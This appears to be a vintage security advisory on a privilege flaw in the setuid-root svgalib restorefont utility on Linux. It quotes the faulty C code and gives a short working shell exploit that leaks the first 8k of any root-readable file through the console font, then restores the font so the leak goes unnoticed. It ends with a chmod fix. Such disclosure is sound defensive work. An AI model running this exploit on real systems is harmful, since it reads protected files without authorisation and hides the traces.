COMMAND
restorefont, a svgalib utility
SYSTEMS AFFECTED
linux
PROBLEM
Linux's svgalib utilities, required to be suid root, have a
problem in that they do not revoke suid permissions before
reading a file. This is exploited in the restorefont utility,
but similar bugs exist in other svgalib utilities. The
restorefont utility serves two functions. First, it will read a
font from a file and write it to the console as the font.
Second, it will read a font from the console and write it out to
a file. Luckily, the specific bug in restorefont can only be
exploited if someone is at the console, reducing its overall
impact on the security of the system as a whole.
In writing the utilities, the authors are cognizant of the fact
that when writing out the font, suid permissions must first be
given up; it is in fact commented as such in the code. However,
when reading in a font, the program is still running with full
suid root permissions. This allows us to read in any file for
the font that root could access (basically, anything).
The applicable code to read in the file is shown below:
#define FONT_SIZE 8192
unsigned char font[FONT_SIZE];
if (argv[1][1] == 'r') {
FILE *f;
f = fopen(argv[2], "rb");
if (f == NULL) {
error:
perror("restorefont");
exit(1);
}
if(1!=fread(font, FONT_SIZE, 1, f))
{
if(errno)
goto error;
puts("restorefont: input file corrupted.");
exit(1);
}
fclose(f);
We can see from this that the file to be read in has to be at
least 8k, as if it is not, the program will produce an error and
exit. If the file is at least 8k, the first 8k are read into the
buffer, and the program proceeds to set whatever the contents of
the file are to the font:
vga_disabledriverreport();
vga_setchipset(VGA); /* avoid SVGA detection */
vga_init();
vga_setmode(G640x350x16);
vga_puttextfont(font);
vga_setmode(TEXT);
At this point, the console will now look quite unreadable if you
are reading something other than a font from that file. But, the
data that is put into the font is left untouched and is readable
using the -w option of restorefont. We then read the font back
from video memory to a new file, and our job is complete, we have
read the first 8k of a file we shouldn't have had access to. To
prevent detection of having run this, we probably shouldn't leave
an unreadable font on the screen, so we save and then restore the
original font before reading from the file.
The complete exploit is shown below:
rfbug.sh:
#!/bin/sh
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp
SOLUTION
Temporary patch would be
chmod -s /usr/bin/restorefont